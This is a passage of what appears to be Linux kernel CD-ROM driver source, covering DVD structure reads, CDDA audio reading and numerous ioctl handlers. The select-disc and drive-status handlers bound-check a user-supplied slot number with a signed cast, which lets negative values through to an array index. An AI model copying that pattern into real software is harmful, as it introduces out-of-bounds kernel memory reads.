buf[1];\n\tif (s->bca.len < 12 || s->bca.len > 188) {\n\t\tcd_dbg(CD_WARNING, \"Received invalid BCA length (%d)\\n\",\n\t\t s->bca.len);\n\t\tret = -EIO;\n\t\tgoto out;\n\t}\n\tmemcpy(s->bca.value, &buf[4], s->bca.len);\n\tret = 0;\nout:\n\tkfree(buf);\n\treturn ret;\n}", "static int dvd_read_manufact(struct cdrom_device_info *cdi, dvd_struct *s,\n\t\t\t\tstruct packet_command *cgc)\n{\n\tint ret = 0, size;\n\tu_char *buf;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tsize = sizeof(s->manufact.value) + 4;", "\tbuf = kmalloc(size, GFP_KERNEL);\n\tif (!buf)\n\t\treturn -ENOMEM;", "\tinit_cdrom_command(cgc, buf, size, CGC_DATA_READ);\n\tcgc->cmd[0] = GPCMD_READ_DVD_STRUCTURE;\n\tcgc->cmd[7] = s->type;\n\tcgc->cmd[8] = size >> 8;\n\tcgc->cmd[9] = size & 0xff;", "\tret = cdo->generic_packet(cdi, cgc);\n\tif (ret)\n\t\tgoto out;", "\ts->manufact.len = buf[0] << 8 | buf[1];\n\tif (s->manufact.len < 0) {\n\t\tcd_dbg(CD_WARNING, \"Received invalid manufacture info length (%d)\\n\",\n\t\t s->manufact.len);\n\t\tret = -EIO;\n\t} else {\n\t\tif (s->manufact.len > 2048) {\n\t\t\tcd_dbg(CD_WARNING, \"Received invalid manufacture info length (%d): truncating to 2048\\n\",\n\t\t\t s->manufact.len);\n\t\t\ts->manufact.len = 2048;\n\t\t}\n\t\tmemcpy(s->manufact.value, &buf[4], s->manufact.len);\n\t}", "out:\n\tkfree(buf);\n\treturn ret;\n}", "static int dvd_read_struct(struct cdrom_device_info *cdi, dvd_struct *s,\n\t\t\t\tstruct packet_command *cgc)\n{\n\tswitch (s->type) {\n\tcase DVD_STRUCT_PHYSICAL:\n\t\treturn dvd_read_physical(cdi, s, cgc);", "\tcase DVD_STRUCT_COPYRIGHT:\n\t\treturn dvd_read_copyright(cdi, s, cgc);", "\tcase DVD_STRUCT_DISCKEY:\n\t\treturn dvd_read_disckey(cdi, s, cgc);", "\tcase DVD_STRUCT_BCA:\n\t\treturn dvd_read_bca(cdi, s, cgc);", "\tcase DVD_STRUCT_MANUFACT:\n\t\treturn dvd_read_manufact(cdi, s, cgc);\n\t\t\n\tdefault:\n\t\tcd_dbg(CD_WARNING, \": Invalid DVD structure read requested (%d)\\n\",\n\t\t s->type);\n\t\treturn -EINVAL;\n\t}\n}", "int cdrom_mode_sense(struct cdrom_device_info *cdi,\n\t\t struct packet_command *cgc,\n\t\t int page_code, int page_control)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tmemset(cgc->cmd, 0, sizeof(cgc->cmd));", "\tcgc->cmd[0] = GPCMD_MODE_SENSE_10;\n\tcgc->cmd[2] = page_code | (page_control << 6);\n\tcgc->cmd[7] = cgc->buflen >> 8;\n\tcgc->cmd[8] = cgc->buflen & 0xff;\n\tcgc->data_direction = CGC_DATA_READ;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "int cdrom_mode_select(struct cdrom_device_info *cdi,\n\t\t struct packet_command *cgc)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tmemset(cgc->cmd, 0, sizeof(cgc->cmd));\n\tmemset(cgc->buffer, 0, 2);\n\tcgc->cmd[0] = GPCMD_MODE_SELECT_10;\n\tcgc->cmd[1] = 0x10;\t\t/* PF */\n\tcgc->cmd[7] = cgc->buflen >> 8;\n\tcgc->cmd[8] = cgc->buflen & 0xff;\n\tcgc->data_direction = CGC_DATA_WRITE;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "static int cdrom_read_subchannel(struct cdrom_device_info *cdi,\n\t\t\t\t struct cdrom_subchnl *subchnl, int mcn)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tstruct packet_command cgc;\n\tchar buffer[32];\n\tint ret;", "\tinit_cdrom_command(&cgc, buffer, 16, CGC_DATA_READ);\n\tcgc.cmd[0] = GPCMD_READ_SUBCHANNEL;\n\tcgc.cmd[1] = subchnl->cdsc_format;/* MSF or LBA addressing */\n\tcgc.cmd[2] = 0x40; /* request subQ data */\n\tcgc.cmd[3] = mcn ? 2 : 1;\n\tcgc.cmd[8] = 16;", "\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\treturn ret;", "\tsubchnl->cdsc_audiostatus = cgc.buffer[1];\n\tsubchnl->cdsc_ctrl = cgc.buffer[5] & 0xf;\n\tsubchnl->cdsc_trk = cgc.buffer[6];\n\tsubchnl->cdsc_ind = cgc.buffer[7];", "\tif (subchnl->cdsc_format == CDROM_LBA) {\n\t\tsubchnl->cdsc_absaddr.lba = ((cgc.buffer[8] << 24) |\n\t\t\t\t\t\t(cgc.buffer[9] << 16) |\n\t\t\t\t\t\t(cgc.buffer[10] << 8) |\n\t\t\t\t\t\t(cgc.buffer[11]));\n\t\tsubchnl->cdsc_reladdr.lba = ((cgc.buffer[12] << 24) |\n\t\t\t\t\t\t(cgc.buffer[13] << 16) |\n\t\t\t\t\t\t(cgc.buffer[14] << 8) |\n\t\t\t\t\t\t(cgc.buffer[15]));\n\t} else {\n\t\tsubchnl->cdsc_reladdr.msf.minute = cgc.buffer[13];\n\t\tsubchnl->cdsc_reladdr.msf.second = cgc.buffer[14];\n\t\tsubchnl->cdsc_reladdr.msf.frame = cgc.buffer[15];\n\t\tsubchnl->cdsc_absaddr.msf.minute = cgc.buffer[9];\n\t\tsubchnl->cdsc_absaddr.msf.second = cgc.buffer[10];\n\t\tsubchnl->cdsc_absaddr.msf.frame = cgc.buffer[11];\n\t}", "\treturn 0;\n}", "/*\n * Specific READ_10 interface\n */\nstatic int cdrom_read_cd(struct cdrom_device_info *cdi,\n\t\t\t struct packet_command *cgc, int lba,\n\t\t\t int blocksize, int nblocks)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tmemset(&cgc->cmd, 0, sizeof(cgc->cmd));\n\tcgc->cmd[0] = GPCMD_READ_10;\n\tcgc->cmd[2] = (lba >> 24) & 0xff;\n\tcgc->cmd[3] = (lba >> 16) & 0xff;\n\tcgc->cmd[4] = (lba >> 8) & 0xff;\n\tcgc->cmd[5] = lba & 0xff;\n\tcgc->cmd[6] = (nblocks >> 16) & 0xff;\n\tcgc->cmd[7] = (nblocks >> 8) & 0xff;\n\tcgc->cmd[8] = nblocks & 0xff;\n\tcgc->buflen = blocksize * nblocks;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "/* very generic interface for reading the various types of blocks */\nstatic int cdrom_read_block(struct cdrom_device_info *cdi,\n\t\t\t struct packet_command *cgc,\n\t\t\t int lba, int nblocks, int format, int blksize)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tmemset(&cgc->cmd, 0, sizeof(cgc->cmd));\n\tcgc->cmd[0] = GPCMD_READ_CD;\n\t/* expected sector size - cdda,mode1,etc. */\n\tcgc->cmd[1] = format << 2;\n\t/* starting address */\n\tcgc->cmd[2] = (lba >> 24) & 0xff;\n\tcgc->cmd[3] = (lba >> 16) & 0xff;\n\tcgc->cmd[4] = (lba >> 8) & 0xff;\n\tcgc->cmd[5] = lba & 0xff;\n\t/* number of blocks */\n\tcgc->cmd[6] = (nblocks >> 16) & 0xff;\n\tcgc->cmd[7] = (nblocks >> 8) & 0xff;\n\tcgc->cmd[8] = nblocks & 0xff;\n\tcgc->buflen = blksize * nblocks;\n\t\n\t/* set the header info returned */\n\tswitch (blksize) {\n\tcase CD_FRAMESIZE_RAW0\t: cgc->cmd[9] = 0x58; break;\n\tcase CD_FRAMESIZE_RAW1\t: cgc->cmd[9] = 0x78; break;\n\tcase CD_FRAMESIZE_RAW\t: cgc->cmd[9] = 0xf8; break;\n\tdefault\t\t\t: cgc->cmd[9] = 0x10;\n\t}\n\t\n\treturn cdo->generic_packet(cdi, cgc);\n}", "static int cdrom_read_cdda_old(struct cdrom_device_info *cdi, __u8 __user *ubuf,\n\t\t\t int lba, int nframes)\n{\n\tstruct packet_command cgc;\n\tint ret = 0;\n\tint nr;", "\tcdi->last_sense = 0;", "\tmemset(&cgc, 0, sizeof(cgc));", "\t/*\n\t * start with will ra.nframes size, back down if alloc fails\n\t */\n\tnr = nframes;\n\tdo {\n\t\tcgc.buffer = kmalloc(CD_FRAMESIZE_RAW * nr, GFP_KERNEL);\n\t\tif (cgc.buffer)\n\t\t\tbreak;", "\t\tnr >>= 1;\n\t} while (nr);", "\tif (!nr)\n\t\treturn -ENOMEM;", "\tcgc.data_direction = CGC_DATA_READ;\n\twhile (nframes > 0) {\n\t\tif (nr > nframes)\n\t\t\tnr = nframes;", "\t\tret = cdrom_read_block(cdi, &cgc, lba, nr, 1, CD_FRAMESIZE_RAW);\n\t\tif (ret)\n\t\t\tbreak;\n\t\tif (copy_to_user(ubuf, cgc.buffer, CD_FRAMESIZE_RAW * nr)) {\n\t\t\tret = -EFAULT;\n\t\t\tbreak;\n\t\t}\n\t\tubuf += CD_FRAMESIZE_RAW * nr;\n\t\tnframes -= nr;\n\t\tlba += nr;\n\t}\n\tkfree(cgc.buffer);\n\treturn ret;\n}", "static int cdrom_read_cdda_bpc(struct cdrom_device_info *cdi, __u8 __user *ubuf,\n\t\t\t int lba, int nframes)\n{\n\tstruct request_queue *q = cdi->disk->queue;\n\tstruct request *rq;\n\tstruct scsi_request *req;\n\tstruct bio *bio;\n\tunsigned int len;\n\tint nr, ret = 0;", "\tif (!q)\n\t\treturn -ENXIO;", "\tif (!blk_queue_scsi_passthrough(q)) {\n\t\tWARN_ONCE(true,\n\t\t\t \"Attempt read CDDA info through a non-SCSI queue\\n\");\n\t\treturn -EINVAL;\n\t}", "\tcdi->last_sense = 0;", "\twhile (nframes) {\n\t\tnr = nframes;\n\t\tif (cdi->cdda_method == CDDA_BPC_SINGLE)\n\t\t\tnr = 1;\n\t\tif (nr * CD_FRAMESIZE_RAW > (queue_max_sectors(q) << 9))\n\t\t\tnr = (queue_max_sectors(q) << 9) / CD_FRAMESIZE_RAW;", "\t\tlen = nr * CD_FRAMESIZE_RAW;", "\t\trq = blk_get_request(q, REQ_OP_SCSI_IN, GFP_KERNEL);\n\t\tif (IS_ERR(rq)) {\n\t\t\tret = PTR_ERR(rq);\n\t\t\tbreak;\n\t\t}\n\t\treq = scsi_req(rq);", "\t\tret = blk_rq_map_user(q, rq, NULL, ubuf, len, GFP_KERNEL);\n\t\tif (ret) {\n\t\t\tblk_put_request(rq);\n\t\t\tbreak;\n\t\t}", "\t\treq->cmd[0] = GPCMD_READ_CD;\n\t\treq->cmd[1] = 1 << 2;\n\t\treq->cmd[2] = (lba >> 24) & 0xff;\n\t\treq->cmd[3] = (lba >> 16) & 0xff;\n\t\treq->cmd[4] = (lba >> 8) & 0xff;\n\t\treq->cmd[5] = lba & 0xff;\n\t\treq->cmd[6] = (nr >> 16) & 0xff;\n\t\treq->cmd[7] = (nr >> 8) & 0xff;\n\t\treq->cmd[8] = nr & 0xff;\n\t\treq->cmd[9] = 0xf8;", "\t\treq->cmd_len = 12;\n\t\trq->timeout = 60 * HZ;\n\t\tbio = rq->bio;", "\t\tblk_execute_rq(q, cdi->disk, rq, 0);\n\t\tif (scsi_req(rq)->result) {\n\t\t\tstruct request_sense *s = req->sense;\n\t\t\tret = -EIO;\n\t\t\tcdi->last_sense = s->sense_key;\n\t\t}", "\t\tif (blk_rq_unmap_user(bio))\n\t\t\tret = -EFAULT;\n\t\tblk_put_request(rq);", "\t\tif (ret)\n\t\t\tbreak;", "\t\tnframes -= nr;\n\t\tlba += nr;\n\t\tubuf += len;\n\t}", "\treturn ret;\n}", "static int cdrom_read_cdda(struct cdrom_device_info *cdi, __u8 __user *ubuf,\n\t\t\t int lba, int nframes)\n{\n\tint ret;", "\tif (cdi->cdda_method == CDDA_OLD)\n\t\treturn cdrom_read_cdda_old(cdi, ubuf, lba, nframes);", "retry:\n\t/*\n\t * for anything else than success and io error, we need to retry\n\t */\n\tret = cdrom_read_cdda_bpc(cdi, ubuf, lba, nframes);\n\tif (!ret || ret != -EIO)\n\t\treturn ret;", "\t/*\n\t * I've seen drives get sense 4/8/3 udma crc errors on multi\n\t * frame dma, so drop to single frame dma if we need to\n\t */\n\tif (cdi->cdda_method == CDDA_BPC_FULL && nframes > 1) {\n\t\tpr_info(\"dropping to single frame dma\\n\");\n\t\tcdi->cdda_method = CDDA_BPC_SINGLE;\n\t\tgoto retry;\n\t}", "\t/*\n\t * so we have an io error of some sort with multi frame dma. if the\n\t * condition wasn't a hardware error\n\t * problems, not for any error\n\t */\n\tif (cdi->last_sense != 0x04 && cdi->last_sense != 0x0b)\n\t\treturn ret;", "\tpr_info(\"dropping to old style cdda (sense=%x)\\n\", cdi->last_sense);\n\tcdi->cdda_method = CDDA_OLD;\n\treturn cdrom_read_cdda_old(cdi, ubuf, lba, nframes);\t\n}", "static int cdrom_ioctl_multisession(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_multisession ms_info;\n\tu8 requested_format;\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROMMULTISESSION\\n\");", "\tif (!(cdi->ops->capability & CDC_MULTI_SESSION))\n\t\treturn -ENOSYS;", "\tif (copy_from_user(&ms_info, argp, sizeof(ms_info)))\n\t\treturn -EFAULT;", "\trequested_format = ms_info.addr_format;\n\tif (requested_format != CDROM_MSF && requested_format != CDROM_LBA)\n\t\treturn -EINVAL;\n\tms_info.addr_format = CDROM_LBA;", "\tret = cdi->ops->get_last_session(cdi, &ms_info);\n\tif (ret)\n\t\treturn ret;", "\tsanitize_format(&ms_info.addr, &ms_info.addr_format, requested_format);", "\tif (copy_to_user(argp, &ms_info, sizeof(ms_info)))\n\t\treturn -EFAULT;", "\tcd_dbg(CD_DO_IOCTL, \"CDROMMULTISESSION successful\\n\");\n\treturn 0;\n}", "static int cdrom_ioctl_eject(struct cdrom_device_info *cdi)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMEJECT\\n\");", "\tif (!CDROM_CAN(CDC_OPEN_TRAY))\n\t\treturn -ENOSYS;\n\tif (cdi->use_count != 1 || cdi->keeplocked)\n\t\treturn -EBUSY;\n\tif (CDROM_CAN(CDC_LOCK)) {\n\t\tint ret = cdi->ops->lock_door(cdi, 0);\n\t\tif (ret)\n\t\t\treturn ret;\n\t}", "\treturn cdi->ops->tray_move(cdi, 1);\n}", "static int cdrom_ioctl_closetray(struct cdrom_device_info *cdi)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMCLOSETRAY\\n\");", "\tif (!CDROM_CAN(CDC_CLOSE_TRAY))\n\t\treturn -ENOSYS;\n\treturn cdi->ops->tray_move(cdi, 0);\n}", "static int cdrom_ioctl_eject_sw(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMEJECT_SW\\n\");", "\tif (!CDROM_CAN(CDC_OPEN_TRAY))\n\t\treturn -ENOSYS;\n\tif (cdi->keeplocked)\n\t\treturn -EBUSY;", "\tcdi->options &= ~(CDO_AUTO_CLOSE | CDO_AUTO_EJECT);\n\tif (arg)\n\t\tcdi->options |= CDO_AUTO_CLOSE | CDO_AUTO_EJECT;\n\treturn 0;\n}", "static int cdrom_ioctl_media_changed(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tstruct cdrom_changer_info *info;\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_MEDIA_CHANGED\\n\");", "\tif (!CDROM_CAN(CDC_MEDIA_CHANGED))\n\t\treturn -ENOSYS;", "\t/* cannot select disc or select current disc */\n\tif (!CDROM_CAN(CDC_SELECT_DISC) || arg == CDSL_CURRENT)\n\t\treturn media_changed(cdi, 1);\n", "\tif ((unsigned int)arg >= cdi->capacity)", "\t\treturn -EINVAL;", "\tinfo = kmalloc(sizeof(*info), GFP_KERNEL);\n\tif (!info)\n\t\treturn -ENOMEM;", "\tret = cdrom_read_mech_status(cdi, info);\n\tif (!ret)\n\t\tret = info->slots[arg].change;\n\tkfree(info);\n\treturn ret;\n}", "static int cdrom_ioctl_set_options(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_SET_OPTIONS\\n\");", "\t/*\n\t * Options need to be in sync with capability.\n\t * Too late for that, so we have to check each one separately.\n\t */\n\tswitch (arg) {\n\tcase CDO_USE_FFLAGS:\n\tcase CDO_CHECK_TYPE:\n\t\tbreak;\n\tcase CDO_LOCK:\n\t\tif (!CDROM_CAN(CDC_LOCK))\n\t\t\treturn -ENOSYS;\n\t\tbreak;\n\tcase 0:\n\t\treturn cdi->options;\n\t/* default is basically CDO_[AUTO_CLOSE|AUTO_EJECT] */\n\tdefault:\n\t\tif (!CDROM_CAN(arg))\n\t\t\treturn -ENOSYS;\n\t}\n\tcdi->options |= (int) arg;\n\treturn cdi->options;\n}", "static int cdrom_ioctl_clear_options(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_CLEAR_OPTIONS\\n\");", "\tcdi->options &= ~(int) arg;\n\treturn cdi->options;\n}", "static int cdrom_ioctl_select_speed(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_SELECT_SPEED\\n\");", "\tif (!CDROM_CAN(CDC_SELECT_SPEED))\n\t\treturn -ENOSYS;\n\treturn cdi->ops->select_speed(cdi, arg);\n}", "static int cdrom_ioctl_select_disc(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_SELECT_DISC\\n\");", "\tif (!CDROM_CAN(CDC_SELECT_DISC))\n\t\treturn -ENOSYS;", "\tif (arg != CDSL_CURRENT && arg != CDSL_NONE) {\n\t\tif ((int)arg >= cdi->capacity)\n\t\t\treturn -EINVAL;\n\t}", "\t/*\n\t * ->select_disc is a hook to allow a driver-specific way of\n\t * seleting disc. However, since there is no equivalent hook for\n\t * cdrom_slot_status this may not actually be useful...\n\t */\n\tif (cdi->ops->select_disc)\n\t\treturn cdi->ops->select_disc(cdi, arg);", "\tcd_dbg(CD_CHANGER, \"Using generic cdrom_select_disc()\\n\");\n\treturn cdrom_select_disc(cdi, arg);\n}", "static int cdrom_ioctl_reset(struct cdrom_device_info *cdi,\n\t\tstruct block_device *bdev)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_RESET\\n\");", "\tif (!capable(CAP_SYS_ADMIN))\n\t\treturn -EACCES;\n\tif (!CDROM_CAN(CDC_RESET))\n\t\treturn -ENOSYS;\n\tinvalidate_bdev(bdev);\n\treturn cdi->ops->reset(cdi);\n}", "static int cdrom_ioctl_lock_door(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"%socking door\\n\", arg ? \"L\" : \"Unl\");", "\tif (!CDROM_CAN(CDC_LOCK))\n\t\treturn -EDRIVE_CANT_DO_THIS;", "\tcdi->keeplocked = arg ? 1 : 0;", "\t/*\n\t * Don't unlock the door on multiple opens by default, but allow\n\t * root to do so.\n\t */\n\tif (cdi->use_count != 1 && !arg && !capable(CAP_SYS_ADMIN))\n\t\treturn -EBUSY;\n\treturn cdi->ops->lock_door(cdi, arg);\n}", "static int cdrom_ioctl_debug(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"%sabling debug\\n\", arg ? \"En\" : \"Dis\");", "\tif (!capable(CAP_SYS_ADMIN))\n\t\treturn -EACCES;\n\tdebug = arg ? 1 : 0;\n\treturn debug;\n}", "static int cdrom_ioctl_get_capability(struct cdrom_device_info *cdi)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_GET_CAPABILITY\\n\");\n\treturn (cdi->ops->capability & ~cdi->mask);\n}", "/*\n * The following function is implemented, although very few audio\n * discs give Universal Product Code information, which should just be\n * the Medium Catalog Number on the box. Note, that the way the code\n * is written on the CD is /not/ uniform across all discs!\n */\nstatic int cdrom_ioctl_get_mcn(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_mcn mcn;\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_GET_MCN\\n\");", "\tif (!(cdi->ops->capability & CDC_MCN))\n\t\treturn -ENOSYS;\n\tret = cdi->ops->get_mcn(cdi, &mcn);\n\tif (ret)\n\t\treturn ret;", "\tif (copy_to_user(argp, &mcn, sizeof(mcn)))\n\t\treturn -EFAULT;\n\tcd_dbg(CD_DO_IOCTL, \"CDROM_GET_MCN successful\\n\");\n\treturn 0;\n}", "static int cdrom_ioctl_drive_status(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_DRIVE_STATUS\\n\");", "\tif (!(cdi->ops->capability & CDC_DRIVE_STATUS))\n\t\treturn -ENOSYS;\n\tif (!CDROM_CAN(CDC_SELECT_DISC) ||\n\t (arg == CDSL_CURRENT || arg == CDSL_NONE))\n\t\treturn cdi->ops->drive_status(cdi, CDSL_CURRENT);\n\tif (((int)arg >= cdi->capacity))\n\t\treturn -EINVAL;\n\treturn cdrom_slot_status(cdi, arg);\n}", "/*\n * Ok, this is where problems start. The current interface for the\n * CDROM_DISC_STATUS ioctl is flawed. It makes the false assumption that\n * CDs are all CDS_DATA_1 or all CDS_AUDIO, etc. Unfortunately, while this\n * is often the case, it is also very common for CDs to have some tracks\n * with data, and some tracks with audio. Just because I feel like it,\n * I declare the following to be the best way to cope. If the CD has ANY\n * data tracks on it, it will be returned as a data CD. If it has any XA\n * tracks, I will return it as that. Now I could simplify this interface\n * by combining these returns with the above, but this more clearly\n * demonstrates the problem with the current interface. Too bad this\n * wasn't designed to use bitmasks... -Erik\n *\n * Well, now we have the option CDS_MIXED: a mixed-type CD.\n * User level programmers might feel the ioctl is not very useful.\n *\t\t\t\t\t---david\n */\nstatic int cdrom_ioctl_disc_status(struct cdrom_device_info *cdi)\n{\n\ttracktype tracks;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_DISC_STATUS\\n\");", "\tcdrom_count_tracks(cdi, &tracks);\n\tif (tracks.error)\n\t\treturn tracks.error;", "\t/* Policy mode on */\n\tif (tracks.audio > 0) {\n\t\tif (!tracks.data && !tracks.cdi && !tracks.xa)\n\t\t\treturn CDS_AUDIO;\n\t\telse\n\t\t\treturn CDS_MIXED;\n\t}", "\tif (tracks.cdi > 0)\n\t\treturn CDS_XA_2_2;\n\tif (tracks.xa > 0)\n\t\treturn CDS_XA_2_1;\n\tif (tracks.data > 0)\n\t\treturn CDS_DATA_1;\n\t/* Policy mode off */", "\tcd_dbg(CD_WARNING, \"This disc doesn't have any tracks I recognize!\\n\");\n\treturn CDS_NO_INFO;\n}", "static int cdrom_ioctl_changer_nslots(struct cdrom_device_info *cdi)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_CHANGER_NSLOTS\\n\");\n\treturn cdi->capacity;\n}", "static int cdrom_ioctl_get_subchnl(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_subchnl q;\n\tu8 requested, back;\n\tint ret;", "\t/* cd_dbg(CD_DO_IOCTL,\"entering CDROMSUBCHNL\\n\");*/", "\tif (copy_from_user(&q, argp, sizeof(q)))\n\t\treturn -EFAULT;", "\trequested = q.cdsc_format;\n\tif (requested != CDROM_MSF && requested != CDROM_LBA)\n\t\treturn -EINVAL;\n\tq.cdsc_format = CDROM_MSF;", "\tret = cdi->ops->audio_ioctl(cdi, CDROMSUBCHNL, &q);\n\tif (ret)\n\t\treturn ret;", "\tback = q.cdsc_format; /* local copy */\n\tsanitize_format(&q.cdsc_absaddr, &back, requested);\n\tsanitize_format(&q.cdsc_reladdr, &q.cdsc_format, requested);", "\tif (copy_to_user(argp, &q, sizeof(q)))\n\t\treturn -EFAULT;\n\t/* cd_dbg(CD_DO_IOCTL, \"CDROMSUBCHNL successful\\n\"); */\n\treturn 0;\n}", "static int cdrom_ioctl_read_tochdr(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_tochdr header;\n\tint ret;", "\t/* cd_dbg(CD_DO_IOCTL, \"entering CDROMREADTOCHDR\\n\"); */", "\tif (copy_from_user(&header, argp, sizeof(header)))\n\t\treturn -EFAULT;", "\tret = cdi->ops->audio_ioctl(cdi, CDROMREADTOCHDR, &header);\n\tif (ret)\n\t\treturn ret;", "\tif (copy_to_user(argp, &header, sizeof(header)))\n\t\treturn -EFAULT;\n\t/* cd_dbg(CD_DO_IOCTL, \"CDROMREADTOCHDR successful\\n\"); */\n\treturn 0;\n}", "static int cdrom_ioctl_read_tocentry(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_tocentry entry;\n\tu8 requested_format;\n\tint ret;", "\t/* cd_dbg(CD_DO_IOCTL, \"entering CDROMREADTOCENTRY\\n\"); */", "\tif (copy_from_user(&entry, argp, sizeof(entry)))\n\t\treturn -EFAULT;", "\trequested_format = entry.cdte_format;\n\tif (requested_format != CDROM_MSF && requested_format != CDROM_LBA)\n\t\treturn -EINVAL;\n\t/* make interface to low-level uniform */\n\tentry.cdte_format = CDROM_MSF;\n\tret = cdi->ops->audio_ioctl(cdi, CDROMREADTOCENTRY, &entry);\n\tif (ret)\n\t\treturn ret;\n\tsanitize_format(&entry.cdte_addr, &entry.cdte_format, requested_format);", "\tif (copy_to_user(argp, &entry, sizeof(entry)))\n\t\treturn -EFAULT;\n\t/* cd_dbg(CD_DO_IOCTL, \"CDROMREADTOCENTRY successful\\n\"); */\n\treturn 0;\n}", "static int cdrom_ioctl_play_msf(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_msf msf;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROMPLAYMSF\\n\");", "\tif (!CDROM_CAN(CDC_PLAY_AUDIO))\n\t\treturn -ENOSYS;\n\tif (copy_from_user(&msf, argp, sizeof(msf)))\n\t\treturn -EFAULT;\n\treturn cdi->ops->audio_ioctl(cdi, CDROMPLAYMSF, &msf);\n}", "static int cdrom_ioctl_play_trkind(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_ti ti;\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROMPLAYTRKIND\\n\");", "\tif (!CDROM_CAN(CDC_PLAY_AUDIO))\n\t\treturn -ENOSYS;\n\tif (copy_from_user(&ti, argp, sizeof(ti)))\n\t\treturn -EFAULT;", "\tret = check_for_audio_disc(cdi, cdi->ops);\n\tif (ret)\n\t\treturn ret;\n\treturn cdi->ops->audio_ioctl(cdi, CDROMPLAYTRKIND, &ti);\n}\nstatic int cdrom_ioctl_volctrl(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_volctrl volume;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROMVOLCTRL\\n\");", "\tif (!CDROM_CAN(CDC_PLAY_AUDIO))\n\t\treturn -ENOSYS;\n\tif (copy_from_user(&volume, argp, sizeof(volume)))\n\t\treturn -EFAULT;\n\treturn cdi->ops->audio_ioctl(cdi, CDROMVOLCTRL, &volume);\n}", "static int cdrom_ioctl_volread(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_volctrl volume;\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROMVOLREAD\\n\");", "\tif (!CDROM_CAN(CDC_PLAY_AUDIO))\n\t\treturn -ENOSYS;", "\tret = cdi->ops->audio_ioctl(cdi, CDROMVOLREAD, &volume);\n\tif (ret)\n\t\treturn ret;", "\tif (copy_to_user(argp, &volume, sizeof(volume)))\n\t\treturn -EFAULT;\n\treturn 0;\n}", "static int cdrom_ioctl_audioctl(struct cdrom_device_info *cdi,\n\t\tunsigned int cmd)\n{\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"doing audio ioctl (start/stop/pause/resume)\\n\");", "\tif (!CDROM_CAN(CDC_PLAY_AUDIO))\n\t\treturn -ENOSYS;\n\tret = check_for_audio_disc(cdi, cdi->ops);\n\tif (ret)\n\t\treturn ret;\n\treturn cdi->ops->audio_ioctl(cdi, cmd, NULL);\n}", "/*\n * Required when we need to use READ_10 to issue other than 2048 block\n * reads\n */\nstatic int cdrom_switch_blocksize(struct cdrom_device_info *cdi, int size)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tstruct packet_command cgc;\n\tstruct modesel_head mh;", "\tmemset(&mh, 0, sizeof(mh));\n\tmh.block_desc_length = 0x08;\n\tmh.block_length_med = (size >> 8) & 0xff;\n\tmh.block_length_lo = size & 0xff;", "\tmemset(&cgc, 0, sizeof(cgc));\n\tcgc.cmd[0] = 0x15;\n\tcgc.cmd[1] = 1 << 4;\n\tcgc.cmd[4] = 12;\n\tcgc.buflen = sizeof(mh);\n\tcgc.buffer = (char *) &mh;\n\tcgc.data_direction = CGC_DATA_WRITE;\n\tmh.block_desc_length = 0x08;\n\tmh.block_length_med = (size >> 8) & 0xff;\n\tmh.block_length_lo = size & 0xff;", "\treturn cdo->generic_packet(cdi, &cgc);\n}", "static int cdrom_get_track_info(struct cdrom_device_info *cdi,\n\t\t\t\t__u16 track, __u8 type, track_information *ti)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tstruct packet_command cgc;\n\tint ret, buflen;", 